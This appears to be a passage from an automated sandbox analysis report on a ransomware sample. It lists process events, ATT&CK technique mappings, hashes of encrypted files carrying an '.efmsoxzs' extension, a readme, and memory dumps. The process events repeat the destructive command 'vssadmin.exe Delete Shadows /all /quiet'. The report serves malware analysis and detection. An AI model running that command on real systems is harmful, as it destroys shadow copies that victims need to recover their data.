vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2672

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2664

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2752

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:3012

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\54V921K5.txt

MD5
73a60228e301609d92f8857dd5b23463

SHA1
49d505c24328aec8f32794f9205df92ff99f51b9

SHA256
ccc0a85034090ae512c65136ef928df9d1b2f76cfd9b0fa4cf4116f19b39125c

SHA512
45e2dc429a445c8c5e18de7e978ee138be66b16a654a67cdbad58e770e22270a42dd30dfe2c01f4a0fc0ef199b7d311e32235a1bbd881e1c5d407f4b8ae8c36a

Download Submit
C:\Users\Admin\Desktop\AddProtect.php.efmsoxzs

MD5
7b596930561ec6dd144444e9575e7b6b

SHA1
3c308ec085d842e587ec87fcf7aac2beb134c9bf

SHA256
d373b94f18abd9f6cc7f6d4608e6624bb95c0eab2dbdd774b84ad56d55609484

SHA512
a8c9cc52a847a06fab41427394db75ecaee9d90611a095d016e2203a3b2edf5e7b93c7ce4dfa5658e93c39ccc0afe877583a7ec92495913b32222031481ec44d

Download Submit
C:\Users\Admin\Desktop\EnableSkip.pptx.efmsoxzs

MD5
051a4b6084959ff6d96110270759e1b9

SHA1
7bab5fad2266a3a80286bad1167b6d6639e6258c

SHA256
26ddc194739c7f4dd182c95aa76b40c4e7dc2c00f085d5965d3f1054aa36cff3

SHA512
d827947c70814f8d9e720df7a0c0d9f7b4b6ad6e7368150f40385035e0c49d751d2339435868bc9bf5c04693ff3a1cf71a02ae6a1b6a00966271f484f3ee5328

Download Submit
C:\Users\Admin\Desktop\ExitSync.jfif.efmsoxzs

MD5
73535cd6bd53498ce64f7623b9c977c7

SHA1
5d0933e3ca4011ddd6b5813f933a59fdd1e02cf8

SHA256
3f47b47b4b94e58fe39d0eb9d52aaee73477060063fd468e6934386fb0ac31a4

SHA512
672b9fe342d3167314642c1798506449f00630ecb5fae13d6447462433e458a073c3d860334e14173fe518be8618109c4573e86f05c950d36ace11b8c43ad888

Download Submit
C:\Users\Admin\Desktop\GrantDisconnect.mid.efmsoxzs

MD5
e81a3344b573c2bfea224c7727967d99

SHA1
a54ee59668a7b444c0a051350a59cc2058579f54

SHA256
2d612bb6cbe81497cd3f650281bcacd347ea3a57fde37d02366b7be2332365d7

SHA512
d89b56395a756ac0ebe988a8348487e46223b332ba27e64b23240ce1b672970ec2782959893e98cf0aeaa527b7a885ba8a04205354b09de752aa00623d2bf7db

Download Submit
C:\Users\Admin\Desktop\GrantOut.emf.efmsoxzs

MD5
0b62d3109baf2ec60724db6e76580c55

SHA1
79dcbf95894c0b74c5c1dd56fde2564412294443

SHA256
a9e68e5608959b5ebb092d9a7b638b8052f6c90dfb212133b5df23baabe8c99e

SHA512
9b980bba28da438e51cdf8f176c342c4915801c305cd408f797cd069cadd97b0bfc0f361d6dee4cc6213298896c0eb95668bc61b375ad356bcb6e5e5d1367e23

Download Submit
C:\Users\Admin\Desktop\MeasureDisable.dwg.efmsoxzs

MD5
a63774088c05d79267c5911e5b0135e6

SHA1
62b104bcac6da8ac535aa0edb40edf228ce75a81

SHA256
7e77e566de991c6548160af08ce209eebe9ca243a96ccf0ddc36ca2afe69479b

SHA512
c87052d40bab54c3191fc63a754471573b662c7ef18c60f027807f9da6b8b83f100883c5ed45f1b1b1ba3a8623824a05a2ba8af0ef3db3a98e2c382edebeefdc

Download Submit
C:\Users\Admin\Desktop\RequestDisconnect.iso.efmsoxzs

MD5
2305591290487c4c8c634add5a5adfee

SHA1
3a8db6ceb8c9e6ef75a79fc848127d34457e9eb8

SHA256
934e2228a5e273edff44c0c52fef86c13ae5f7345ce18d3f0a431c9b8c1d78e3

SHA512
b99ab5bba5f6afb4df2fe11d12a3232224fa94143e968cb0c5101de70d975544f11a696ae2b25d1ca025bb615fe5541feb4b137a082e4374c7c4d57ce92510a5

Download Submit
C:\Users\Admin\Desktop\RequestSwitch.pptx.efmsoxzs

MD5
db777e1e403538c06743ab2e6d44f626

SHA1
80c96b7f9734db313d25ad9daf59c51883f0db50

SHA256
4698c1ae17e75aa2c9c7ea4099b00f5074c2bb1ac8c3d1c1e1472318c8e3a610

SHA512
055a5ba58d5470bf5d8c85024f90f8b5c8aa658d0fac077344726951a98df618356772fbba85226959054e3e99cc40dac840ce983aac4e4c3bca2d7cb6fc697a

Download Submit
C:\Users\Admin\Desktop\RevokeOptimize.jpg.efmsoxzs

MD5
b10157968621b8f33b242c848a3094ea

SHA1
f034196337cd5e48d73e302782f1864076d32656

SHA256
e3dfbce6430fb5631e803fcb04f2319259c490d17793bddfe065ab60c5ec98b9

SHA512
a4adfe23c69c241a6145df9a2632d60497b4ed85eba0eafe147fb1c8a707c55734d077c8619d048007c0fecf2f111cb7904f75524e492fdfff4052f350a387b6

Download Submit
C:\Users\Admin\Desktop\readme.txt

MD5
3612639b25a98e835d973c1a74ab90d0

SHA1
08cd4dbccff7d8d9601800e69f04dae06a744b57

SHA256
0121127ab621449f2a6b91db46d6769ad693504adc7c14e6681d9aabae1db191

SHA512
15eb20735ad5d7914a686f17a09a802fb89d263fb250b260f94953fe2b55e3d74c6920103b26464937ab7698c4ee0437512e1a300c23113ff2fbab0dd743e47d

Download Submit
C:\Users\Public\readme.txt

MD5
3612639b25a98e835d973c1a74ab90d0

SHA1
08cd4dbccff7d8d9601800e69f04dae06a744b57

SHA256
0121127ab621449f2a6b91db46d6769ad693504adc7c14e6681d9aabae1db191

SHA512
15eb20735ad5d7914a686f17a09a802fb89d263fb250b260f94953fe2b55e3d74c6920103b26464937ab7698c4ee0437512e1a300c23113ff2fbab0dd743e47d

Download Submit
memory/284-140-0x0000000000000000-mapping.dmp

Download
memory/616-138-0x0000000000000000-mapping.dmp

Download
memory/700-151-0x0000000000000000-mapping.dmp

Download
memory/760-139-0x0000000000000000-mapping.dmp

Download
memory/788-90-0x0000000001CD0000-0x0000000001CD1000-memory.dmp

Filesize
4KB

Download
memory/788-88-0x0000000001CB0000-0x0000000001CB1000-memory.dmp

Filesize
4KB

Download
memory/788-94-0x0000000001D20000-0x0000000001D21000-memory.dmp

Filesize
4KB

Download
memory/788-93-0x0000000001D10000-0x0000000001D11000-memory.dmp

Filesize
4KB

Download
memory/788-92-0x0000000001D00000-0x0000000001D01000-memory.dmp

Filesize
4KB

Download
memory/788-62-0x00000000000E0000-0x00000000000E1000-memory.dmp

Filesize
4KB

Download
memory/788-89-0x0000000001CC0000-0x0000000001CC1000-memory.dmp

Filesize
4KB

Download
memory/788-95-0x0000000001D30000-0x0000000001D31000-memory.dmp

Filesize
4KB

Download
memory/788-65-0x0000000000210000-0x0000000000211000-memory.dmp

Filesize
4KB

Download
memory/788-61-0x0000000000020000-0x0000000000025000-memory.dmp

Filesize
20KB

Download
memory/788-64-0x0000000000100000-0x0000000000101000-memory.dmp

Filesize
4KB

Download
memory/788-63-0x00000000000F0000-0x00000000000F1000-memory.dmp

Filesize
4KB

Download
memory/824-142-0x0000000000000000-mapping.dmp

Download
memory/1056-148-0x0000000000000000-mapping.dmp

Download
memory/1104-106-0x0000000001BC0000-0x0000000001BC4000-memory.dmp

Filesize
16KB

Download
memory/1120-153-0x0000000075551000-0x0000000075553000-memory.dmp

Filesize
8KB

Download
memory/1120-152-0x0000000000000000-mapping.dmp

Download
memory/1204-60-0x00000000029C0000-0x00000000029D0000-memory.dmp

Filesize
64KB

Download
memory/1244-96-0x0000000000000000-mapping.dmp

Download
memory/1244-126-0x000007FEFBF11000-0x000007FEFBF13000-memory.dmp

Filesize
8KB

Download
memory/1596-147-0x0000000000000000-mapping.dmp

Download
memory/1604-146-0x0000000000000000-mapping.dmp

Download
memory/1624-144-0x0000000000000000-mapping.dmp

Download
memory/1628-150-0x0000000000000000-mapping.dmp

Download
memory/1748-149-0x0000000000000000-mapping.dmp

Download
memory/1880-143-0x0000000000000000-mapping.dmp

Download
memory/2208-154-0x0000000000000000-mapping.dmp

Download
memory/2232-155-0x0000000000000000-mapping.dmp

Download
memory/2244-156-0x0000000000000000-mapping.dmp

Download
memory/2260-157-0x0000000000000000-mapping.dmp

Download
memory/2284-159-0x0000000000000000-mapping.dmp

Download
memory/2392-165-0x0000000000000000-mapping.dmp

Download
memory/2400-164-0x0000000000000000-mapping.dmp

Download
memory/2408-163-0x0000000000000000-mapping.dmp

Download
memory/2416-166-0x0000000000000000-mapping.dmp

Download
memory/2764-168-0x0000000000000000-mapping.dmp

Download